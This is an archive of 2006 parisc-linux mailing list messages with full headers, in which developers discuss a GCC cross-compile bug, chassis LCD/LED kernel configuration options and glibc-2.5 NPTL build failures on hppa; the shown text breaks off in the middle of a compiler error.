	Thu, 16 Nov 2006 22:35:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAH5ZvDl001675;
	Fri, 17 Nov 2006 00:35:57 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAH5ZucH001674;
	Fri, 17 Nov 2006 00:35:56 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200611162310.03845.vapier@gentoo.org>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dXhkcCcleWU7ULeUfHVzKgU5U3U4Nw+I
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24080

> http://gcc.gnu.org/PR29114

This has nothing to do with the discussion about long double support.

>>>From the PR, this only occurs in a cross from 64-bit host to 32-bit target.
There's no 64-bit parisc-linux host...

It would appear that the adddi3 expander in pa.md isn't used for some
reason in the initial code expansion as it would reject the insn.  You
are in the best position to determine where the insn is being emitted from.
It could be being emitted from the generic code or the PA backend.  Try
breaks on emit_move_sequence, emit_insn, emit_insn_after or emit_insn_before
and see if you can find where the insn is being emitted.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Fri, 17 Nov 2006 01:29:44 -0500
Organization: wh0rd.org
Lines: 76
Approved: news@gmane.org
Message-ID: <200611170129.45825.vapier@gentoo.org>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
	<20061117053556.GA694@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0033352241=="
X-Trace: ger.gmane.org 1416624212 21599 80.91.229.3 (22 Nov 2014 02:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:32 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 06:30:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 17 Nov 2006 07:30:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C8AD7D96E;
	Thu, 16 Nov 2006 23:30:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03841-06; Thu, 16 Nov 2006 23:30:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 741D97D96F;
	Thu, 16 Nov 2006 23:30:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9349B7D96D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 23:30:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04021-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 23:30:07 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 16FAB7D96C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Nov 2006 23:30:07 -0700 (MST)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 0047764D46
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 06:30:04 +0000 (UTC)
Original-Received: (qmail 1040 invoked from network); 17 Nov 2006 01:27:08 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 17 Nov 2006 01:27:08 -0500
User-Agent: KMail/1.9.5
In-Reply-To: <20061117053556.GA694@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y25ocVYiRkkeaauPfGRqUwxmdWkvKBPO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24081

--===============0033352241==
Content-Type: multipart/signed; boundary="nextPart12153548.vamY4DsR3c";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart12153548.vamY4DsR3c
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Friday 17 November 2006 00:35, John David Anglin wrote:
> > http://gcc.gnu.org/PR29114
>
> This has nothing to do with the discussion about long double support.

i didnt say it does ... i responding to the "testing NPTL in distros" comme=
nt

> From the PR, this only occurs in a cross from 64-bit host to 32-bit targe=
t.
> There's no 64-bit parisc-linux host...

i said that in my e-mail:
"plus, it makes it hard doing cross-compiles when my 64bit hosts"

> It would appear that the adddi3 expander in pa.md isn't used for some
> reason in the initial code expansion as it would reject the insn.  You
> are in the best position to determine where the insn is being emitted fro=
m.
> It could be being emitted from the generic code or the PA backend.  Try
> breaks on emit_move_sequence, emit_insn, emit_insn_after or
> emit_insn_before and see if you can find where the insn is being emitted.

erm, i've never debugged gcc before ... my experience involves producing=20
reduced test cases and getting others to verify/fix gcc :)

but if it'll be of help to people ...
=2Dmike

--nextPart12153548.vamY4DsR3c
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARV1W2UFjO5/oN/WBAQIYCBAAugrFrk0JGE81Ai2ATF24C3zQ77PSPjnT
lnWyMGXGATmb6Va5uk5XZld62DQI35RJayF7ik7v8EFTE9JXv5LdI0CL+AcbTzHj
HLq2ZId6Q0W/lEnZeEC4cxYB0MEGL4xYvMSisOSo3cjqbQIxKmKYLjKdqKBAfVQO
v73WclNUMyGv9/relKT+gFLUsTccPLWiLEhA6/3qKNvbxrJgvfkL4QozsZYXKm9J
o5Mh4JS4I61UuaNOzyNiVCd19w7io73uwYKqS4ZyRsUoxmnal8cfSSyAVexVV48u
K5+mbGOw1oW+4c4uSzzEDntBblllRqIPQT/fcQ0i3O/h6roxscGMzN9ZeT2JFs3O
fW9pw6WWjuY7v8mMoMsbEGFLGyV1B4nwya8temYwcUbb1pUsd6VAPf2o3ja2T1DQ
jLKK82aZz6rmCyMpS7przKUh2gznGKlCB1yc3GrUjIIePmrLyE2j5KGfCmEYnIR2
1/G5KjSRamAiXBg2Jeec0mEqhLwYqBBUKzT68mOWLKAu7tunr1q5/w634yMUSGHL
52opv3iM/HfTxggyb5UhpNy6P0cPBgDpGhXhM2dO8WuolRUMnGdoo/zs/NCJAtD5
OVpzIWGkzHN2Q5JAqPknDYngrKXi48zmmO4pRkj8c8tTPKnTtBkeMNJ4MrfdzmFK
frM9tJkq5Dk=
=/CQv
-----END PGP SIGNATURE-----

--nextPart12153548.vamY4DsR3c--

--===============0033352241==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0033352241==--



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Fri, 17 Nov 2006 14:02:46 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <7d01f9f00611170502r7c8e95c3nfef955365987e313@mail.gmail.com>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<200611121605.07365.deller@gmx.de>
	<20061113225421.e00e5c4b.gmsoft@tuxicoman.be>
	<200611162155.49380.deller@gmx.de>
	<20061116220426.5941dd16.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624212 21602 80.91.229.3 (22 Nov 2014 02:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Guy Martin" <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 13:03:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 17 Nov 2006 14:03:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD4BF7D418;
	Fri, 17 Nov 2006 06:02:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09356-06; Fri, 17 Nov 2006 06:02:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFCE47D635;
	Fri, 17 Nov 2006 06:02:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C041F7D406
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 06:02:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09356-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 06:02:48 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 1A8217D404
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 06:02:47 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so690773ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 05:02:46 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=IAf/uzABd1avbWaqvlSkT3ex0Buc5vwYhreBHsxnBSlFXQIwczKBjmBCLmsSkhS8A091j/9dv4iGKUeuVHKu0wRJhC4PEtuMOO5kRTWopgtMRtcR5u/ritodGg0im7l+4euyn7YO9mUxWkBcLGNGoc3Kmn8ENx5rTVjB0OftdTs=
Original-Received: by 10.78.160.2 with SMTP id i2mr1852686hue.1163768566436;
	Fri, 17 Nov 2006 05:02:46 -0800 (PST)
Original-Received: by 10.78.105.2 with HTTP; Fri, 17 Nov 2006 05:02:46 -0800 (PST)
In-Reply-To: <20061116220426.5941dd16.gmsoft@tuxicoman.be>
Content-Disposition: inline
X-Google-Sender-Auth: d03f452a327dc887
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OcloLXcCZDI4DLHGdWY2zOhxemhmYwGj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24082

On 11/16/06, Guy Martin <gmsoft@tuxicoman.be> wrote:
>
> Helge,
>
> I installed HP-UX on that box and it only displayed PCD state codes as linux does when you select only CONFIG_PDC_CHASSIS.
> On that point, I think that CONFIG_PDC_CHASSIS and CONFIG_CHASSIS_LCD_LED should be mutually exclusive.

Certainly not.

> When you select CONFIG_CHASSIS_LCD_LED, you don't see the chassis state anymore but only the text from /proc/pdc/lcd.

Wrong. You see whichever sent the last event. If the system is working
normaly you see the proc text, if it panic'd, you'll see a FLT
message. Besides, CONFIG_CHASSIS_LCD_LED drives the heartbeat, network
and disk symbols on the lcd as you know, so because there's a
"conflict" on the upper part of the lcd doesn't mean that you want to
make those mutually exclusive anyway.

I've coded this that way on purpose, and the wiki and config help are
(imho) explicit enough as to what will happen when you select both.
Selecting both does have a purpose.

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Fri, 17 Nov 2006 11:48:50 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200611171648.kAHGmorq011765@hiauly1.hia.nrc.ca>
References: <200611170129.45825.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624212 21605 80.91.229.3 (22 Nov 2014 02:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:32 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 16:49:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 17 Nov 2006 17:49:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 974627D96D;
	Fri, 17 Nov 2006 09:49:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14128-10; Fri, 17 Nov 2006 09:49:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABBBE7D8C1;
	Fri, 17 Nov 2006 09:49:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F13A47D8B4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 09:48:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14128-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 09:48:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 785D27D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 09:48:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAHGmonS011766;
	Fri, 17 Nov 2006 11:48:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAHGmorq011765;
	Fri, 17 Nov 2006 11:48:50 -0500 (EST)
In-Reply-To: <200611170129.45825.vapier@gentoo.org> from "Mike Frysinger" at
	Nov 17, 2006 01:29:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pt5ucRR7TXs9XKyRbmQ5y/RKRzdyMgOg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24083

> > It would appear that the adddi3 expander in pa.md isn't used for some
> > reason in the initial code expansion as it would reject the insn.  You
> > are in the best position to determine where the insn is being emitted fro=
> m.
> > It could be being emitted from the generic code or the PA backend.  Try
> > breaks on emit_move_sequence, emit_insn, emit_insn_after or
> > emit_insn_before and see if you can find where the insn is being emitted.
> 
> erm, i've never debugged gcc before ... my experience involves producing=20
> reduced test cases and getting others to verify/fix gcc :)

If you add -v to the gcc command line, the driver will output the
command it uses to run cc1.  This is needed to debug cc1.

GCC is a volunteer based project, so help is always welcome.  I got
involved when similar issues affected the projects that I was working
on.

There's always bugs (e.g., mainline is currently broken for both 32
and 64 bits on hpux).  There are over 50 open PRs for hppa.  There
are more critical issues that need to be resolved for the upcoming
4.2.0 release.  Most people do native builds and the problem doesn't
appear there.  Fixing this requires finding a suitable 64-bit host to
debug it on.

This problem should be relatively easy to fix if we know where and
why the insn is being emitted.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 64-bit long double support.
Date: Fri, 17 Nov 2006 11:16:24 -0800
Lines: 79
Approved: news@gmane.org
Message-ID: <5b2e36650611171116w2306d7d8xd770c89a0f34a9f8@mail.gmail.com>
References: <119aab440611161731p47779d1hdc7e7dbd336eb23c@mail.gmail.com>
	<200611162310.03845.vapier@gentoo.org>
	<200611162316.26872.vapier@gentoo.org>
	<200611162359.05014.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0942037714=="
X-Trace: ger.gmane.org 1416624213 21608 80.91.229.3 (22 Nov 2014 02:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Nov 2006 19:16:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 17 Nov 2006 20:16:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6482A7D96B;
	Fri, 17 Nov 2006 12:16:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16348-05; Fri, 17 Nov 2006 12:16:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C1057D967;
	Fri, 17 Nov 2006 12:16:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BD5D7D8B9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 12:16:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16348-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 12:16:25 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.227])
	by free.linux.hp.com (Postfix) with ESMTP id 284487D87D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 12:16:25 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so1159971wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Nov 2006 11:16:24 -0800 (PST)
Original-Received: by 10.90.49.19 with SMTP id w19mr1975748agw.1163790984588;
	Fri, 17 Nov 2006 11:16:24 -0800 (PST)
Original-Received: by 10.90.31.8 with HTTP; Fri, 17 Nov 2006 11:16:24 -0800 (PST)
In-Reply-To: <200611162359.05014.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oD1rcWkDTiEtQKyUaGRwLB51ZUVSRJfF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24084

--===============0942037714==
Content-Type: multipart/alternative; 
	boundary="----=_Part_28678_31004965.1163790984542"

------=_Part_28678_31004965.1163790984542
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 16/11/06, Mike Frysinger <vapier@gentoo.org> wrote:
>
> On Thursday 16 November 2006 23:16, Mike Frysinger wrote:
> > ok, just tried glibc-2.5 + hppa + linuxthreads and that is for sure
> broken
> > (the defines for handling locking is all broken in the release)
>
> yeah glibc-2.5 fails as well:
> ... -o /var/tmp/portage/cross-hppa2.0-unknown-linux-gnu/glibc-2.5
> /work/build-default-hppa2.0-unknown-linux-gnu-nptl/csu/crtn.o
> In file included from ../nptl/descr.h:30,
>                  from ../ports/sysdeps/hppa/nptl/tls.h:63,
>                  from ../include/tls.h:6,
>                  from <stdin>:2:
> ../ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h: In
